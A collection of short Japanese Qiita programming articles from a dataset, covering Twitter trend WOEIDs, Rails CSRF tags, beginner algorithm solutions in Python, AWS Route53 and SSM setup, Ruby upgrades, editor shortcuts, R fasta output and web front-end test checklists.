OmniAICreator/Qiita-1.07M huggingface dataset:
Twitterのトレンドを取得する際に指定できる日本の都市

Twitterのapiを叩いてトレンドを取得する際にWOEIDを指定して、特定の地域のトレンドを取得することができます。
しかし、日本全国の都市を指定できる訳ではなくtwitter側で決められた場所だけです。
[このAPI](https://dev.twitter.com/rest/reference/get/trends/available)を叩けば指定可能な全てのWOEIDが取れるのですが、その中からいちいち日本の都市を探すのも面倒なので、指定できる日本の都市名とWOEIDを載せておきます（自分のためにも）

| 都市名       | WOEID |   
|:-----------------|:------------------|
| Kitakyushu             |              1110809 | 
| Saitama           |            1116753 |
| Chiba             |              1117034 |
| Fukuoka               |                1117099 |
| Hamamatsu             |             1117155 |
| Hiroshima          |           1117227 |
| Kawasaki             |             1117502 |
| Kobe          |           1117545 |
| Kumamoto             |             1117605 |
| Nagoya          |           1117817 | 
| Niigata          |           1117881 | 
| Sagamihara          |           1118072 | 
| Sapporo          |           1118108 | 
| Sendai          |           1118129 | 
| Takamatsu          |           1118285 | 
| Tokyo          |           1118370 | 
| Yokohama          |           1118550 | 
| Okinawa          |           2345896 | 
| Osaka          |           15015370 | 
| Kyoto          |           15015372 | 
| Okayama          |           90036018 | 
| Japan          |           23424856 |
<%= csrf_meta_tags %>は何のために書くのか

## csrf_meta_tags
これは、クロスサイトリクエストフォージェリ(CSRF)の対策のために記述する。

### クロスサイトリクエストフォージェリとは
Webアプリケーションに存在する脆弱性を利用した攻撃方法のこと。
掲示板や問い合わせフォームなどを処理するWebアプリケーションが、本来拒否すべき他サイトからのリクエストを受信し処理してしまう。
蟻本をpythonで: page 45 辞書順最小の問題 (POJ3617)

```py

# coding: utf-8
import copy
input_S =list(raw_input())
T = ""
reversed_S = copy.deepcopy(input_S)

reversed_S.reverse()

while(len(input_S)> 0):
    if input_S < reversed_S:
        T += input_S[0]
        input_S = input_S[1:]
        reversed_S= reversed_S[:-1]

    else:
        T += reversed_S[0]
        input_S = input_S[:-1]
        reversed_S= reversed_S[1:]
print T

```
(自分としては)珍しく回答例よりシンプルに書けた。
蟻本をpythonで: page 43 区間スケジューリング

```py

# coding: utf-8
import numpy as np

n = int(raw_input())
start = raw_input()
end = raw_input()
data_s = np.array([],dtype=int)
data_e = np.array([],dtype=int)
line = ""
for i in start:
    if i != " ":
        line += i
        # print line
    if i == " ":
        data_s = np.append(data_s, int(line))
        line = ""
data_s = np.append(data_s, int(line))

line = ""
for i in end:
    if i != " ":
        line += i
        # print line
    if i == " ":
        data_e = np.append(data_e, int(line))
        line = ""
data_e = np.append(data_e, int(line))


########################ここまで前処理##################

now = -1
history_e = np.array([],dtype=int)
history_s = np.array([],dtype=int)
while(1):
    data_e = data_e[np.where(data_s>now)]
    data_s = data_s[np.where(data_s>now)]
    ind= np.argmin(data_e[np.where(data_s>now)])
    now = data_e[ind]
    history_e = np.append(history_e, data_e[ind])
    history_s = np.append(history_s,data_s[ind])

    if now > data_s.max() or len(data_s) == 0:
        break

print history_s
print history_e
print len(history_e)


```

numpy頼み
そういえばaddress要素、正しく使えてた？

セクションの要素内でfooter要素についてまとめていたところ、address要素をどうやって入れるんだっけ？と調べていたら、自分の中の認識と違うことがわかりました。

#address要素は問い合わせ先情報
ページ最下部の更新年や著作権情報を囲うのが\<address>……と思い込んでいたのですが、**これは使用用途として誤りでした。**

>The address element must not contain information other than contact information.
*address要素は、連絡先以外の情報を含めることは出来ません。*

>For example, the following is non-conforming use of the address element:
*address要素の間違った使用方法は以下の通りです。*

>``<ADDRESS>Last Modified: 1999/12/24 23:37:50</ADDRESS>``


フッター部分最下部としてaddress要素を多用していたので結構衝撃でした……

address要素に連絡先情報以外、例えば**著作権情報や年号など**を入れるのは**不適切**な使い方ということです。

```HTML:NG構文
<address>
2017 Example Corp. All rights reserved.
</address>
```

正しいaddress要素の構文

```HTML:OK構文
<footer>
  <address>
    管理人の連絡先：
    <a href="mailto:info@example.com"> Nox Git </a>
  </address>
  <p><small>Copyright 2017 Example Corp.</small> </p>
</footer>
```

作成年日や著作権情報は連絡先ではないので、入れるならpなどを使いましょう、ってことだとか。

#HTML5でのaddressは？
HTML5ではセクション要素が追加になったため、**直近のarticle要素またはbody要素の内容に関する問い合わせ先を示す**という意味になりました。
article要素に含まれていない場合は、body要素（=ページ全体）に関する問い合わせ先を示すことになります。


>The address element represents the contact information for its nearest article or body element ancestor. If that is the body element, then the contact information applies to the document as a whole.


*W3C勧告より*
https://www.w3.org/TR/html5/sections.html#the-address-element
2017年 Java向けIDE

正直申し上げまして、私のようなものが申すのもはばかる内容であります。
より博識で聡明な方々のまとめが随時ありますので。

とはいえ、一個人としての見解である、という前置きをしたうえで掲題の内容について述べるものです。

より良い記事を求められる方はどうぞ、改めて検索いただくことをお勧めします。
BlueJとかJgraspに至ってはもはや「そんなのあったのか」レベルです。

- [【Java IDE】Eclipse, IntelliJ, NetBeans　3大 Java IDEを比較(2017年版)](http://qiita.com/jhChoi/items/d60fe8cf396dfc11d51d)
- [Choosing your Java IDE](http://www.javaworld.com/article/3114167/development-tools/choosing-your-java-ide.html)
- [5 Best IDE for Java Development](https://www.dunebook.com/5-best-ide-for-java-development/)
- [Javaでおすすめの開発環境4選と必要な手順](https://furien.jp/columns/174/)

# 前置き
さて、前置きが長くなりました。
この場で対象とするのは以下の3つ。
そのうえで指標や基準は求めず、個人の使用感に伴う印象を述べます。

1. Eclipse
2. IntelliJ
3. NetBeans

## Eclipse
言わずと知れたデファクトぶり。
しかし昨今、「時代遅れ」、「遅い」、「重い」、「更新が間に合っていない」などの声も多く、往時の勢いを失いつつあります。

確かに言われる通り。
Java8、Java9やJavaEE7、JavaEE8への対応は牛歩めいたものを感じ、アーリーアクセスには使えない。
プラグインの起動やインデックスの構成でハングアップしてしまい、頻繁に開発環境をクリーンすることになる。
そのようなことも多いものです。
(アーリーアクセスとはそういうものだ、ハングするような環境構築が間違っていると言われてしまえばその通りなのですが。)

それでも蓄積されたプラグインや知見、利用者の母数から来る情報量には無視できるものではありません。
また、日本語の情報が豊富にあり、わからないこと、詰まったことがあれば検索をしてすぐ解決、ということも多いのは特筆すべきことでしょう。
インストールも簡易ですし、使用感もさすがデファクトといった感じでほかのソフトウェアで親しみのあるものがあったり、イニシャルコストは低いかと思われます。
まぁ、おそらくはEclipseが踏襲しているものと、Eclipseを踏襲したものがそうさせるのでしょうが……

メモリやディスク、CPUリソースの使い方は富豪的ですが、昨今のIDEにおいて「清貧であれ！」などというのも時代錯誤かと思います。

ユーザのスキルや、ツールの習熟度などを平滑化する意味での選択肢としては重要な位置を占めているのではないでしょうか。

## IntelliJ
Eclipseが手堅く勇名を馳せた存在であるとするなら、IntelliJは破竹の勢いの新星でしょう。
(OSSなCommunity Editionの登場から大分経っていますが……)

界隈ではすでに地位を確かなものとし、入門記事や比較記事も多く、AndroidやJava8、Java9などの新しい環境への対応も早い。
強力なデバッグツールやコード補完機能、Gitをビルトインでサポートしている。
そのような特徴を持つため、先進的な要件を持つプロジェクトや、グループ内のエバンジェリストが使うなどに適するのではないでしょうか。

ただ、開発がチェコであることが原因なのか、なじみのないキーバインドやメニュー構造などの操作感がありますし。
コード補完が強力なせいなのか、非力なマシンだともっさり感じることもまま。
また、Community EditionではAPコンテナへのデプロイがサポートされていないといった難点があります。

## NetBeans
Oracle謹製のIDEであり、Java公式としても強く推されるIDEです。
が。

[OracleがNetBeansをApache Foundationに提供](https://www.infoq.com/jp/news/2016/11/oracle-netbeans-apache)

うーん……
OracleがOSSって良いイメージ一切ないんですよね、Open Solarisとか。

使用感は良くも悪くも標準的で、キーバインドやメニューは慣れやすく、APコンテナのサポートもあります。
リソース喰いというわけでもないので汎用的に使えるソフトではあると思うのですが。

うーん……

# 結び
以上、私感を述べてまいりました。
結論としてはやはり「硬い場所ではEclipse」、「先へ先へと進むならIntelliJ」というイメージです。
蟻本をpythonで: page 42 硬貨の問題

```py

# coding: utf-8
import numpy as np

input_lines = raw_input()
data = np.array([],dtype=int)
line = ""
for i in input_lines:
    if i != " ":
        line += i
    if i == " ":
        data = np.append(data, int(line))
        line = ""
data = np.append(data, int(line))

nums = [1,5,10,50,100,500]

A = data[-1]


history = []

for i in range(len(nums)):
    history.append(np.min([data[len(nums)-i-1], A//nums[len(nums)-i-1]]))
    A -= np.min([data[len(nums)-i-1], A//nums[len(nums)-i-1]]) * nums[len(nums)-i-1]

for j in range(len(history)):
    print str(history[len(history)-j -1]),

```

文字列-> 数値の処理がちょっとめんどい
AWS APIでRoute53のCloudFrontへのエイリアスを作成する


こんにちはsekitakaです。

AWSもデベロッパーコンソールで作業すると、履歴が残らないのでコード化してソース管理できるといいですね。

CloudFrontへのDNS設定は以下のようにAPIを実行することで設定可能です。

```python
# coding:utf-8
#!/usr/bin/python
import boto3

client = boto3.client('route53')
response = client.change_resource_record_sets(
    HostedZoneId='XXXXXXXXXXXX', # Route53のレコード設定したいドメイン(example.com)のゾーンID
    ChangeBatch={
        'Comment': u'任意のコメント',
        'Changes': [
            {
                'Action': 'UPSERT',
                'ResourceRecordSet': {
                    'Name': "xxxxxx.example.com" + ".", # 公開したいドメイン
                    'Type': 'A', # CloudFrontに向ける場合は、Aレコードにしろとドキュメントに書いてあった
                    'AliasTarget': {
                        'HostedZoneId': 'Z2FDTNDATAQYW2', # CloudFrontに向ける場合は、この値を指定しろとドキュメントに書いてあった
                        'DNSName': "xxxxxxxx..cloudfront.net" + ".", # CloudFrontのディストリビューションのドメイン
                        'EvaluateTargetHealth': False
                    }
                }
            },
        ]
    }
)
print response
```

ハマりどころとしては、ResourceRecordSetの各種の設定値が、どのレコードタイプを使用するかやエイリアスのタイプによって、使用できる値と使用できない値がある点です。
今回は`TTL`を設定していたところ、わかりにくいエラーが出力されハマってしまいました。

幸い[boto3のドキュメント](http://boto3.readthedocs.io/en/latest/reference/services/route53.html#Route53.Client.change_resource_record_sets)はかなり丁寧だったので、じっくり読めば間違いに気づけました。
<html lang="ja">は何のために書くのか

### そもそもlangとは？
HTMLのlang属性は、要素内で使用されている言語を表記する属性。（langはlanguageの略。）
`<html lang="ja">`は、html要素内で使われている言語はjaという意味。(jaはjapaneseの略)

サイトによっては一部だけ英語などの別の言語を使用することがあると思いますが、その場合は、英語を使用する要素だけ別にlang属性を指定する。

### 何のために書くのか
文章を表示する方法は、言語ごとに違う。
例えば、英語は単語と単語の間にスペースが必要。しかし、日本語の文章にスペースが入っていたらおかしい。
そのため、ブラウザに対して使用している言語を認識させる必要がある。

参考
http://kouritool.com/html-seo-jijou/langja%E3%81%AF%E4%BB%8A%E5%BE%8C%E9%87%8D%E8%A6%81%E3%81%AB%E3%81%AA%E3%82%8B/
https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1284999462
[Atom] markdown-preview(-plus)のToggle previewをショートカットで表示する方法


Atomでマークダウンを使ってドキュメント作成するためmarkdown-previewを入れたのに、ショートカットでToggle preview開けない！となったので解決方法を調べてみました。

## 問題
Atomにmarkdown-preview(-plus)を入れた後、Toggle previewをショートカット(Ctrl+Shift+M)で開けない。

## 原因
同じショートカットコマンドが複数のパッケージで採用され、使いたい機能に割り当てられていない。

## 方法
### 1. Keybinding Resolverパッケージでショートカットの割り当てを確認する。
まずはショートカットの割り当てがどうなっているか確認するため、Keybinding Resolverというパッケージを使う（たぶんデフォルトで入っている）。
"command+."でパッケージが起動し、下部にショートカットの割り当てが表示される（採用されるものは緑、それ以外はグレー）。


試しに"Ctrl+Shift+M"の入力結果を表示すると、今は"markdown-preview-plus:toggle"以外のもの（例えば"emmet:merge-lines"）が採用されているのがわかる。


### 2. 採用するショートカットの変更

Atom>Keymap...から"keymap.cson"を開き、下記コードを書き加える。

markdown-previewを使用している場合

```
'.editor:not(.mini)':
  'ctrl-shift-M': 'markdown-preview:toggle'
```


markdown-preview-plusを使用している場合

```
'.editor:not(.mini)':
  'ctrl-shift-M': 'markdown-preview-plus:toggle'
```

*コードの詳細は"keymap.cson"内のコメント内リンクか、参考リンクの"Keymaps In-Depth"を参照ください。

ここで再びKeybinding Resolverで"Ctrl+Shift+M"を確認すると、Toggle previewが開くと同時に、"markdown-preview-plus:toggle"が採用されたのがわかる。



## 参考リンク
- [Keyboard Shortcut overriding (Emmet and Markdown Preview)](https://discuss.atom.io/t/keyboard-shortcut-overriding-emmet-and-markdown-preview/14113)
- [Check Your Keybindings](http://flight-manual.atom.io/hacking-atom/sections/debugging/#check-your-keybindings)
- [Keymaps In-Depth](http://flight-manual.atom.io/behind-atom/sections/keymaps-in-depth/)
Node-RED で Twitter ダイレクト・メッセージ を送る場合の備忘録

#0. はじめに
ちょっとした落とし穴にハマった後、「こんなところにハマるのは自分だけだし、一度経験した自分も二度ハマるわけが無い」と思っていたところ、解決した記憶があるエラーを見続ける事になったので、記事にしておきます。

#1. Twitter の出力ノードの使い方
![Twitter.png](https://qiita-image-store.s3.amazonaws.com/0/74185/edebd549-466c-0c96-3133-004011141a86.png)

通常のツイート：
ドラッグ・ドロップ後に認証情報をセットアップすれば、msg.payload で渡した内容をツイートします。

ダイレクト・メッセージ：
ドキュメントに「記載の通り」、 msg.payload 内へ文字列で送信先を指定します。
間違えようの無い簡単さです。

```
msg.payload = "D 相手のユーザー名 ダイレクトメッセージで送る内容";
```

ドキュメントの記載：

```
To send a Direct Message (DM) - use a payload like "D {username} {message}"
```

#(本文より長い)補足
1) Node-RED で何かする前に、通常の Twitter クライアントから、ダイレクトメッセージが意図した ID 間で送受信可能なことを事前確認します。
（言うまでも無いことですね。はい、やってませんでした。いや、以前は送受信できていたんですよ、その後 Twitter のアカウント設定を変更しましたが:sweat_smile:）

2) JSON 風に記述するのは誤りです。

```
msg.payload = {
    D : {
        "username": "相手のユーザー名",
        "message": "ダイレクトメッセージで送る内容"
    }
};
```

他の理由でも発生し得る、つまりトラブルシューティングを難しくする以下のエラーとなります。

```
017/5/26 16:22:36node: Tweetmsg : error
"Error: HTTP Error 401: Unauthorized, API message: {"errors":[{"code":32,"message":"Could not authenticate you."}]}"
```

3) {} 自体を含めて文字列として記述するのも誤りです。

```
msg.payload = "D {相手のユーザー名} {ダイレクトメッセージで送る内容}";
```

当然、{} をエスケープしても誤りです。

```
msg.payload = "D \{"+ 相手のユーザー名 +"\} \{"+ ダイレクトメッセージで送る内容+"\}";
```

上記 2) と同様にエラーとなります。
このエラーの場合、「ユーザー名が認識できていない」という意味は伝わってきます。

```
2017/5/26 16:28:04node: Tweetmsg : error
"Error: HTTP Error 404: Not Found, API message: {"errors":[{"code":50,"message":"User not found."}]}"
```

ただし、ユーザー名 を @ユーザー名 と記載しても、問題なくダイレクトメッセージを送ることは確認しています。

もちろん、年寄りになったとか、みっちり開発作業を続ける機会を確保しきれていないとか、思うところは色々ありますが、割愛致します:sob:
Railsで使用するRubyのバージョンアップ手順 （ローカル / 本番環境）

ruby2.1.2からruby2.3.4にバージョンを上げるための手順を記載します。
基本的に他のバージョンでも行う手順は同じです。

ここで説明する手順は ` rbenv ` で ` ruby ` を管理していることが前提になっています。
もし ` rbenv ` で管理していない場合は、 様々なメリットを享受できますので、 ` rbenv ` で管理するようにしてください。

# 環境

```
# ローカル
macOS Sierra 10.12.4

# staging / production
ubuntu
```

# ローカル

## ` 2.3.4 ` をinstallする

` rbenv install 2.3.4 `

### ` 2.3.4 ` がない場合 ( ` ruby-build: definition not found: 2.3.4 ` )

` brew update && brew upgrade ruby-build `

## ` 2.3.4 ` になっているか確認する

` cd #{アプリのディレクトリ} `
` ruby -v `

## 上記手順で`2.3.4`になっていない場合( ` rbenv: version 2.3.4 is not installed ` と出る場合)

### rbenvを以下の手順で最新に変更し、rbenvを再度インストールする
`cd ~/.rbenv/plugins/ruby-build`
`git pull`
`cd #{アプリのディレクトリ}`
` rbenv install 2.3.4 `

### バージョンファイルを確認

` cat .ruby-version ` をして ` 2.3.4 ` が表示されるか確認

## ` bundle ` をinstallする

` gem install bundler `

- ` bundler ` は ` ruby ` のバージョンごとに管理されているため、新しいバージョンのRubyを入れたら ` bundler ` のinstallも必要です

## ` gem ` を更新する

` bundle install --path vendor/bundle `

# Staging / Production

## ` 2.3.4 ` をinstallする

` sudo apt-get update `
`  cd /home/ubuntu/.rbenv/plugins/ruby-build && git pull && cd - `
` rbenv install 2.3.4 `

## ` 2.3.4 ` をセットする

` rbenv version ` -> 2.1.2 になっているはず
` rbenv global 2.3.4 `
` rbenv version ` -> 2.3.4 が表示されればOK

## ` bundle ` をinstallする

` gem install bundler `

# その他

http://tackeyy.com/blog/update-ruby-version
MacOS(OSX)でコマンドラインからdmgインストール

メモメモ
この例では、Vagrant1.9.5をインストールします

## OS Version
```bash
$ sw_vers
ProductName:	Mac OS X
ProductVersion:	10.12.4
BuildVersion:	16E195
```

## Download
```bash
$ wget https://releases.hashicorp.com/vagrant/1.9.5/vagrant_1.9.5_x86_64.dmg
```
※ wgetは事前にbrewでインスコ済み(``brew install wget``

## マウント
```bash
hdiutil mount vagrant_1.9.5_x86_64.dmg
```

## マウント確認
```bash
$ df
Filesystem    512-blocks      Used Available Capacity iused      ifree %iused  Mounted on
...
/dev/disk2s1      204720    146336     58384    72%       6 4294967273    0%   /Volumes/Vagrant
```

## install
```bash
# マウントしたところに移動
$ cd /Volumes/Vagrant

$ installer -pkg vagrant.pkg -target / -lang ja
```

## かくにん！
```bash
$ vagrant -v
Vagrant 1.9.5
```

## デタッチする
```bash
$ cd 
$ hdiutil detach /Volumes/Vagrant
```

おしまい！
テストコードを書くときの心得

# 概要
テストコードを書くときに、こんなところを意識すると良いと思うところを列挙しています。

## テストコードを書くときの心得
### 1. テストしやすいところから実装する
>テストコードを作成するにも気合と工数が必要です。
>テストしやすいとこから初めていきましょう。

### 2. テストコードは数行で済ます
>テストコードもプログラムです。
>テストコード自体に不具合が発生することや、仕様がかわったらメンテナンスが必要になるので、なるべく簡潔に書きましょう。

### 3. 1つのテストでは1つの結果を確認する
>複数の結果を確認するようなテストはやめましょう。
>テストが複雑化して不具合が発生します。
>テストケースの名前が曖昧になり、名前から結果が想像できなくなります。

### 4. テストは独立させましょう
>複数の処理に跨るようなテストを作成するのはやめましょう。
>これはテストコードを書くべきところではなく、結合テストなど別ので確認すべき内容です。

### 5. 費用対効果も考える
>何でもかんでもテストコードを書いていたら工数もバカになりません。
>時間は有限なのでバランスを考えて作成しましょう。
>だからといってテストコードを全く書かなくていいという判断は後々泣きを見ます。

### 6. 保守性も考える
>テストコードはメンテナンスが必要です。
>テストケースの命名や、コメントを追加するなど後々の保守性も考えましょう
EC2 Systems Manager で Ansibleを実行する【cloudpack大阪ブログ】


cloudpack大阪の佐々木です。
EC2 Systems Manager で Ansibleが直接実行できるらしいのでやってみました。
https://aws.amazon.com/jp/blogs/mt/running-ansible-playbooks-using-ec2-systems-manager-run-command-and-state-manager/

2017/05/26時点では、東京リージョンで `AWS-RunAnsiblePlaybook` のドキュメントが見つからないので、対応していないのかと思います。今回は、us-east-1で実行しています。

## EC2の作成
OSはAmazonLinux(amzn-ami-hvm-2017.03.0.20170417-x86_64-gp2 (ami-c58c1dd3))でやってみます。
SSMが実行できるIAM Roleを適用します。
起動後にSSMエージェントと、ansibleのインストールが必要ですが、どうせならログインせずにやりたいので、UserDataをこんな感じにしときます。

```bash:
#!/bin/sh
cd /tmp
curl https://amazon-ssm-$(curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone | sed -e 's/.$//g').s3.amazonaws.com/latest/linux_amd64/amazon-ssm-agent.rpm -o amazon-ssm-agent.rpm
yum install -y amazon-ssm-agent.rpm
/usr/bin/pip install ansible
```

インストールに成功していれば、マネージドインスタンスの一覧に表示されているかと思います。

![Kobito.PjHL2B.png](https://qiita-image-store.s3.amazonaws.com/0/3246/e864f71a-6dd1-311e-0897-2ac5ed4abd73.png "Kobito.PjHL2B.png")


## 関連付けの作成

一覧から該当の実行するインスタンスをチェックし、`関連付けの作成` をクリックします。

`ドキュメントを選択` から `AWS-RunAnsiblePlaybook` を選択します。
![Kobito.6Ll3yi.png](https://qiita-image-store.s3.amazonaws.com/0/3246/90924c37-d7b2-fb3d-3a49-3efcd8ab283c.png "Kobito.6Ll3yi.png")


インスタンス選択し、パラメーターのところのにAnsibleの設定をします。
`Playbook` に下記のような実行したいAnsibleのPlaybookを入力します。

```yaml:
- hosts: all
  become: true

  tasks:
  - name: yum install for Apache Web Server
    yum: name=httpd24

  - name: Start and Enable to Apache
    service: name=httpd state=started enabled=yes
```
ログを残す場合は `S3 への書き込み` にチェックを入れ、バケット情報を入力します。
![Kobito.Ujt33a.png](https://qiita-image-store.s3.amazonaws.com/0/3246/f2a6a74e-ea47-3bd0-9607-3b549dd55a5a.png "Kobito.Ujt33a.png")

`Playbookurl` に `https://〜` は `s3://〜` でyamlファイルを指定して、外部のPlaybookを読み込むこともできます。

`関連付けの作成` をクリックします。

## 実行

しばらくすると、自動的に実行されます。ステータスが `成功` になっていれば適用されていると思います。

![Kobito.T8jToh.png](https://qiita-image-store.s3.amazonaws.com/0/3246/9dc12ca0-9d87-064c-201f-a495ca2c0aa4.png "Kobito.T8jToh.png")

S3にログを保存しているとこんなログが残ります。

```
ansible 2.3.0.0
  config file = 
  configured module search path = Default w/o overrides
  python version = 2.7.12 (default, Sep  1 2016, 22:14:00) [GCC 4.8.3 20140911 (Red Hat 4.8.3-9)]

PLAY [all] *********************************************************************

TASK [Gathering Facts] *********************************************************
ok: [localhost]

TASK [yum install for Apache Web Server] ***************************************
changed: [localhost]

TASK [Start and Enable to Apache] **********************************************
changed: [localhost]

PLAY RECAP *********************************************************************
localhost                  : ok=3    changed=2    unreachable=0    failed=0   
```

## まとめ
今までもUserDataやRunCommandで実行していましたが、yamlを書くだけでできるので、簡単に利用できるようになっています。
ただ、外部から取り込む場合、1ファイルで完結するPlaybookしか読み込めないようなので、Role等ディレクトリを分けて管理している場合は使えないのではないのかな・・・。
そうなると簡単なものしか使えないような気がしますので、そのあたりが改善されればって感じです。
Tips : [R] 複数のfasta(multi-fasta)形式の出力


 以下のようなmulti-fasta形式のファイルを出力します。

```
>name1
ATTTGCGT
>name2
TTGCATC
```
必要となるパッケージ
---
seqinrパッケージが必要です。インストールしましょう。

```r
library(BiocInstaller)
biocLite("seqinr")
```

　以下の関数を読み込みます。

```r:writefastafile.r
#multi-fasta形式のファイルを出力する
#@param {vector} seqlist : 配列のリスト
#@param {vector} namelist : 配列名のリスト
#@param {character} outfn : 出力ファイル名
writefastafile=function(seqlist,namelist=seqlist,outfn="out"){
  #引数チェック
  isbadarg=c(FALSE, "")
  if(!is.vector(namelist))isbadarg=c(TRUE, "argument ‘namelist’ is wrong type.")
  else if(!is.vector(seqlist))isbadarg=c(TRUE, "extra argument ‘seqlist’ is wrong type.")
  else if(!is.character(outfn))isbadarg=c(TRUE, "extra argument ‘outfn’ is wrong type.")
  else if(length(namelist)!=length(seqlist))isbadarg=c(TRUE, "Difference in vector length between seqlist and namelist")
  if(isbadarg[1]){
    warning(isbadarg[2])
    return()
  }
  library(seqinr)
  #ループによって同じファイルに追加書き込みしていく
  for(i in 1:length(namelist)){
    if(i == 1) mode = 'w'
    else mode = 'a'
    write.fasta(sequences = as.vector(seqlist[i]),names=as.vector(namelist[i]),file.out = paste(outfn, ".fa",sep = ''), open=mode)
  }
}


```
実行例
---
入力

```r
writefastafile(c("ATTTGCGT","TTGCATC"),namelist=c("name1","name2"),outfn="output")
```
出力

```output.fa
>name1
ATTTGCGT
>name2
TTGCATC
```

環境
---
R version 3.3.2 (2016-10-31)
Platform: x86_64-apple-darwin13.4.0 (64-bit)
Running under: macOS Sierra 10.12.4
sshセッションがタイムアウト切断されないようにする

SSHターミナルを介して日常業務を行う日、少し席を離した隙にタイムアウトすることはエンジニアであれば誰でも経験があるかと思います。接続コマンドにほんの少しの細工を加えるだけで、切断確定するまでの間延びしたフリーズタイムを回避できます。

以下そのコマンド例。

```
ssh -o TCPKeepAlive=yes -o ServerAliveInterval=60 USERNAME@HOSTNAME
```
MySQLとRailsで楽観的ロックを使って、一度保存に失敗して再取得したレコードが更新されていなかった時の解決法

https://www.slideshare.net/takukobayashi560/my-sqltake2-2
http://blog.toshimaru.net/rails-4-transaction-isolation/

# 解決方法
トランザクション分離レベルをREPEATABLE READからREAD COMMITTEDに変更する

プロダクトコードがあらかじめDB上にあって、後からユーザー情報を紐付けるような処理を例にする

```ruby
ActiveRecord::Base.transaction isolation: :read_committed do # ここにトランザクション分離レベルを書く
  failers = 0
  begin
    license = License.find_or_initialize_by(expired: nil)
    touroku(license)
  rescue => e
    failers += 1
    retry if failers < 5
    raise e
  end
end
```

# 原因
MySQLではデフォルトでファジーリードが発生しないようになっている、トランザクション内で同一レコードを２回読み取った時、別の場所で変更されていても、トランザクション内ではレコードが変わらない。
開発するならSurfaceかMacbookか

ちょうど2年ほど前から持ち運びができる開発用PCが必要になり、SurfaceとMacbookを行き来して思ったこと。

※この記事はハードウェア的な部分の話しかしないのでご了承ください。

乗り換え順序はこんなかんじ:
　2015年 - Macbook(CoreM, RAM8GB)
　　↓
　2016年 - Surface Pro 4(Core i5, RAM8GB)
　　↓
　2017年 - Macbook Pro Touchbar(Core i5, RAM8GB)

よく開発する言語は PHP, Java(Android), Javascript(Angular) とかです。
家の母艦と職場はWindowsであり、ほぼWindowsしか使ったことがないのでMac初心者です。

## 1. Macbook(無印)での開発について
これは正直苦痛でしか無かった。

特にこの初代Macbook無印は薄くて軽いことを目的に作られているのでそもそも開発に向いていないのは当然だがRAMが8GBあるとはいえ(当時の)CoreMではパワー不足、Chrome+Netbeans+Android Stduio+Git clientの同時起動でもしようものなら重くて使い物にならなかった。さらに、初代のパンタグラフ式キーボードはキーの中心を確実に押し込まないと反応しないことがあったりで、たまに入力抜けなどが発生してストレス溜まるものでもあった。

旅先で軽いブラウジングなどをするために買うものですね。

学んだこと:

* 開発するならCore iシリーズにしよう
* キーボードは使いやすいか確認してから買おう
* 軽さよりも最低水準の性能を確保しよう

## 2. Surface Pro 4での開発について
前の端末が端末なので、とにかく快適に感じた。

Surface本体は700gほどだが、実はタイプカバーを装着するとMacbook(無印)より重くなる。もちろん体感はできない程度だけど。

意外と良いけど意外と悪いのがキーボード。第四世代のTypeCoverは非常に入力が快適な優れモノだが、Surfaceの特性としてキーボードとディスプレイ間のヒンジが存在しないため、角度を一定に保てない。具体的に言うと膝の上などの不安定な場所で使うのに向いていない。ここは使い方次第なので欠点というより自分に合っていなかった。

キーボードでもうひとつ、トラックパッドがあまりよろしくない。TypeCoverのトラックパッドはそもそも小さめであり、普通に操作はできるが快適ではない。ここは大きさにかかわらずOSレベルでの最適化されているMacが一歩先を行くところだとおもう(よく言われているけど)。最初は「Bluetoothマウスで補えば良い」と思っていたがカフェなど机が狭いスペースだとその手も通用しなくなる＆2-3時間の作業なら我慢するかとなっていた。

そして今回買い替えの要因となったディスプレイ。ディスプレイ自体は非常に高精細で美しいが、残念ながらWindowsというOSが高精細ディスプレイに完全に対応しきれいていない印象。Surfaceのディスプレイは高解像度なのでデフォルトで175％程度の文字スケールが設定されているが、この設定だけで対応しようとすると最適化されていないアプリのレイアウトが崩れる。自分の場合はWindowsでいつまでも改善されないExplorerをタブ化するCloverというアプリのレイアウトが崩れ非常にストレスだった。(QTTabというのも試したが、レイアウトは崩れないがそもそも合わなかった)

スペック(処理速度)面では全く不満はなかった。Macbookに続き軽い端末を2連続で使ったけれど、遊びに持ち運ぼうみたいなことは思わなかった。1kg切っているとはいえ持ち運ぶにはそこそこ重い。

学んだこと:

* タブレット＋カバーキーボード形式は癖がある
* ある程度(1.5kg以下くらい)軽ければ、重さを最重要視する必要はない
* MicrosoftはWindowsOSのトラックパッドと文字スケールとファイラーをアップデートしてくれ

## 3. Macbook Proでの開発について（これから）
これはまだ買ったばかりなので所感を書く。

期待して買ったこと:

* Windowsを圧倒的に凌駕するトラックパッドの操作性
* Macbook Airとほぼ同じ重量である携帯性
* Spotlight(Alfred)によるアプリケーションの起動･･･最近素晴らしさに気づいた
* CygwinのようなエミュレータがなくてもUNIXベースで動く環境
* iOSの動画キャプチャができる

恐れていること:

* ソフトウェアは高品質だが高価なシェアウェアが多いイメージ  
(逆にWindowsは品質そこそこなフリーウェアが多いイメージ)
* 2週間後にProの大幅アップデート版が発表される

願望:

* たぶんTouchbarは使わなくなるので、革新的なソフトウェアが出ますように
* 第二世代パンタグラフキーボードが違和感なく使えますように
* Mac版のVisualStudioCodeの開発が終了しませんように

## おわりに
Macbook Pro Touchbar(late 2016)さん、これからよろしくお願いします。
Webサービスのフロント側の基本的な確認観点を列挙してみる。

# 概要
Webサービスのフロント側のテスト実施にあたり、基本的な確認観点を列挙しました。
ここから取捨選択してテストケース作成の助けになれば幸いです。

# 確認観点
## ブラウザ
- リロード時の動作は適切か？
- ブラウザバック時の動作は適切か？
- コンソールにエラーは表示されていないか？

## 表示
- 文字コードは適切か？
- 画面サイズを変更した場合の表示は適切か？
- 表示しきれない場合の表現は適切か？（省略、スクロールなど）
- 日付や数値のカンマ区切りなどのフォーマットは適切か？
- 小数点以下の表示は適切か？
- タイトルの内容は適切か？
- 第4水準漢字の表示は適切か？（WEBフォントを利用しているサイト用)

## 操作
- Tab移動の動作は適切か？
- ボタンなど連打時の動作は問題ないか？

## 通信
- HTTPステータスが想定通りであるか？
- HTTPS、HTTPの通信が混在していないか？
- 不必要なコンテンツを読み込んでいないか？

## N件表示
- 0件の表示は適切か？
- 1件の表示は適切か？
- N件の表示は適切か？
- 最大件数を超える場合の表示は適切か？
- 表示順は適切か？

## 入力
- INPUTタイプの選択は適切か？
- 選択時のIMEモードは適切か？
- 機種依存文字の入力時の動作は適切か？
- 特殊記号入力時の動作は適切か？
- 空白文字のトリムは適切か？（タブや半角スペース(\u0020、\u00A0)など)
